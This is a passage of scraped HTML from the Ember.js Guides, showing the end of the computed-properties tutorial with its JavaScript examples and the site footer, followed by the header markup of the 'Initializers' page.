syntax called <em>brace expansion</em> to declare the dependents keys. You surround the dependent properties with braces (<code>{}</code>), and separate with commas, like so:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location.{streetName,streetNumber}', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); </code></pre> </section> <h3 id="toc_chaining-computed-properties">Chaining computed properties</h3> <section aria-labelledby="toc_chaining-computed-properties"> <p>You can use computed properties as values to create new computed properties. Let's add a <code>description</code> computed property to the previous example, and use the existing <code>fullName</code> property and add in some other properties:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ firstName: null, lastName: null, age: null, country: null, fullName: computed('firstName', 'lastName', function() { return `${this.firstName} ${this.lastName}`; }), description: computed('fullName', 'age', 'country', function() { return `${this.fullName}; Age: ${this.age}; Country: ${this.country}`; }) }); let captainAmerica = Person.create({ firstName: 'Steve', lastName: 'Rogers', age: 80, country: 'USA' }); captainAmerica.get('description'); // "Steve Rogers; Age: 80; Country: USA" </code></pre> </section> <h3 id="toc_dynamic-updating">Dynamic updating</h3> <section aria-labelledby="toc_dynamic-updating"> <p>Computed properties, by default, observe any changes made to the properties they depend on and are dynamically updated when they're called. Let's use computed properties to dynamically update.</p> <pre><code class="javascript language-javascript">captainAmerica.set('firstName', 'William'); captainAmerica.description; // "William Rogers; Age: 80; Country: USA" </code></pre> <p>So this change to <code>firstName</code> was observed by <code>fullName</code> computed property, which was itself observed by the <code>description</code> property.</p> <p>Setting any dependent property will propagate changes through any computed properties that depend on them, all the way down the chain of computed properties you've created.</p> </section> <h3 id="toc_setting-computed-properties">Setting Computed Properties</h3> <section aria-labelledby="toc_setting-computed-properties"> <p>You can also define what Ember should do when setting a computed property. If you try to set a computed property, it will be invoked with the key (property name), and the value you want to set it to. You must return the new intended value of the computed property from the setter function.</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ firstName: null, lastName: null, fullName: computed('firstName', 'lastName', { get(key) { return `${this.firstName} ${this.lastName}`; }, set(key, value) { let [firstName, lastName] = value.split(/\s+/); this.set('firstName', firstName); this.set('lastName', lastName); return value; } }) }); let captainAmerica = Person.create(); captainAmerica.set('fullName', 'William Burnside'); captainAmerica.firstName; // William captainAmerica.lastName; // Burnside </code></pre> </section> <h3 id="toc_computed-property-macros">Computed property macros</h3> <section aria-labelledby="toc_computed-property-macros"> <p>Some types of computed properties are very common. Ember provides a number of computed property macros, which are shorter ways of expressing certain types of computed property.</p> <p>In this example, the two computed properties are equivalent:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; import { equal } from '@ember/object/computed'; Person = EmberObject.extend({ fullName: 'Tony Stark', isIronManLongWay: computed('fullName', function() { return this.fullName === 'Tony Stark'; }), isIronManShortWay: equal('fullName', 'Tony Stark') }); </code></pre> <p>To see the full list of computed property macros, have a look at <a href="https://api.emberjs.com/ember/3.4/modules/@ember%2Fobject">the API documentation</a></p> </section> </div> <footer id="ember368524" class="ember-view"> <a href="/v3.4.0/object-model/reopening-classes-and-instances" id="ember368525" class="previous-guide ember-view">Reopening Classes and Instances</a> <a href="/v3.4.0/object-model/computed-properties-and-aggregate-data" id="ember368526" class="next-guide ember-view"> Computed Properties and Aggregate Data </a></footer> </article> </main> <footer id="ember368527" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember368528" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember368529" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember368530" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Initializers - Application Concerns - Ember Guides</title> <meta name="description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta property="og:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta name="twitter:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember106065" class="es-header ember-view" role="banner"><div id="ember106066" class="ember-view"><div class="container"> <nav id="ember106067" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 